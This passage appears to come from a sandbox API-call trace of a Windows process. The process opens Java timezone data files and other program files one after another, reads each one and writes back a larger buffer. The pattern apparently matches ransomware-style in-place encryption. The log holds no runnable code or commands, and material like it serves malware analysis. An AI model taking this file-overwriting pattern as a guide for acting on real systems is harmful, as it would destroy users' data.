(x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\madrid"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.380] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.380] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x588 [0046.380] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.380] ReleaseMutex (hMutex=0x128) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Madrid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Madrid", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Madrid", lpUsedDefaultChar=0x0) returned 6 [0046.380] ReadFile (in: hFile=0x168, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x588, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x2f4f2bc*=0x588, lpOverlapped=0x0) returned 1 [0046.399] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.399] WriteFile (in: hFile=0x168, lpBuffer=0x25c8e38*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c8e38*, lpNumberOfBytesWritten=0x2f4f2d0*=0xb10, lpOverlapped=0x0) returned 1 [0046.399] CloseHandle (hObject=0x168) returned 1 [0046.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\samara"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.401] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.401] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x245 [0046.401] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.401] ReleaseMutex (hMutex=0x128) returned 1 [0046.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Samara", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Samara", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Samara", lpUsedDefaultChar=0x0) returned 6 [0046.402] ReadFile (in: hFile=0x168, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2f4f2bc*=0x245, lpOverlapped=0x0) returned 1 [0046.402] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.402] WriteFile (in: hFile=0x168, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7cd, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7cd, lpOverlapped=0x0) returned 1 [0046.403] CloseHandle (hObject=0x168) returned 1 [0046.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\volgograd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.405] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.405] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x235 [0046.405] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.405] ReleaseMutex (hMutex=0x128) returned 1 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Volgograd", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Volgograd", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Volgograd", lpUsedDefaultChar=0x0) returned 9 [0046.405] ReadFile (in: hFile=0x168, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x235, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2f4f2bc*=0x235, lpOverlapped=0x0) returned 1 [0046.406] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.406] WriteFile (in: hFile=0x168, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7bd, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7bd, lpOverlapped=0x0) returned 1 [0046.406] CloseHandle (hObject=0x168) returned 1 [0046.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Comoro" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\comoro"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.413] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.413] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41 [0046.414] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.414] ReleaseMutex (hMutex=0x128) returned 1 [0046.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Comoro", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Comoro", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comoro", lpUsedDefaultChar=0x0) returned 6 [0046.414] ReadFile (in: hFile=0x198, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2f4f2bc*=0x41, lpOverlapped=0x0) returned 1 [0046.415] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.415] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0046.415] CloseHandle (hObject=0x198) returned 1 [0046.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Apia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\apia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.417] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.417] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x238 [0046.417] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.417] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.417] ReleaseMutex (hMutex=0x128) returned 1 [0046.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Apia", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0046.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Apia", cchWideChar=4, lpMultiByteStr=0x1e6a9fc, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Apia", lpUsedDefaultChar=0x0) returned 4 [0046.417] ReadFile (in: hFile=0x198, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x238, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2f4f2bc*=0x238, lpOverlapped=0x0) returned 1 [0046.418] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.418] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7c0, lpOverlapped=0x0) returned 1 [0046.418] CloseHandle (hObject=0x198) returned 1 [0046.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Galapagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\galapagos"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.419] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.419] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4d [0046.419] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.419] ReleaseMutex (hMutex=0x128) returned 1 [0046.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Galapagos", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Galapagos", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Galapagos", lpUsedDefaultChar=0x0) returned 9 [0046.419] ReadFile (in: hFile=0x198, lpBuffer=0x1e8f228, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f228*, lpNumberOfBytesRead=0x2f4f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0046.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.420] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0046.420] CloseHandle (hObject=0x198) returned 1 [0046.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Marquesas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\marquesas"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41 [0046.428] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.428] ReleaseMutex (hMutex=0x128) returned 1 [0046.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Marquesas", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Marquesas", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Marquesas", lpUsedDefaultChar=0x0) returned 9 [0046.428] ReadFile (in: hFile=0x198, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2f4f2bc*=0x41, lpOverlapped=0x0) returned 1 [0046.429] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.429] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0046.429] CloseHandle (hObject=0x198) returned 1 [0046.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Port_Moresby" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\port_moresby"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.431] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.431] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0046.431] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.431] ReleaseMutex (hMutex=0x128) returned 1 [0046.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Port_Moresby", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Port_Moresby", cchWideChar=12, lpMultiByteStr=0x1e6338c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Port_Moresby", lpUsedDefaultChar=0x0) returned 12 [0046.431] ReadFile (in: hFile=0x198, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0046.432] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.432] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0046.432] CloseHandle (hObject=0x198) returned 1 [0046.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4ADT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\ast4adt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.452] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.452] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8f0 [0046.452] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.452] ReleaseMutex (hMutex=0x128) returned 1 [0046.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AST4ADT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AST4ADT", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AST4ADT", lpUsedDefaultChar=0x0) returned 7 [0046.452] ReadFile (in: hFile=0x198, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x8f0, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x2f4f2bc*=0x8f0, lpOverlapped=0x0) returned 1 [0046.456] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.456] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xe78, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xe78, lpOverlapped=0x0) returned 1 [0046.457] CloseHandle (hObject=0x198) returned 1 [0046.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\yst9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1b [0046.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.459] ReleaseMutex (hMutex=0x128) returned 1 [0046.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="YST9", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0046.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="YST9", cchWideChar=4, lpMultiByteStr=0x1e6a9fc, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YST9", lpUsedDefaultChar=0x0) returned 4 [0046.459] ReadFile (in: hFile=0x198, lpBuffer=0x1e78948, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78948*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0046.465] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.465] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0046.466] CloseHandle (hObject=0x198) returned 1 [0046.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\utg2.exe" (normalized: "c:\\program files (x86)\\java\\utg2.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\utg2.exe", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Java\\utg2.exe", lpFilePart=0x2f4f690*="utg2.exe") returned 0x24 [0046.466] GetLastError () returned 0x20 [0046.466] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x51 [0046.466] LocalFree (hMem=0x70da60) returned 0x0 [0046.466] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.466] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0046.467] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0046.467] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0046.467] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\utg2.exe" (normalized: "c:\\program files (x86)\\java\\utg2.exe")) returned 0x20 [0046.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.468] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.468] SetFilePointer (in: hFile=0x198, 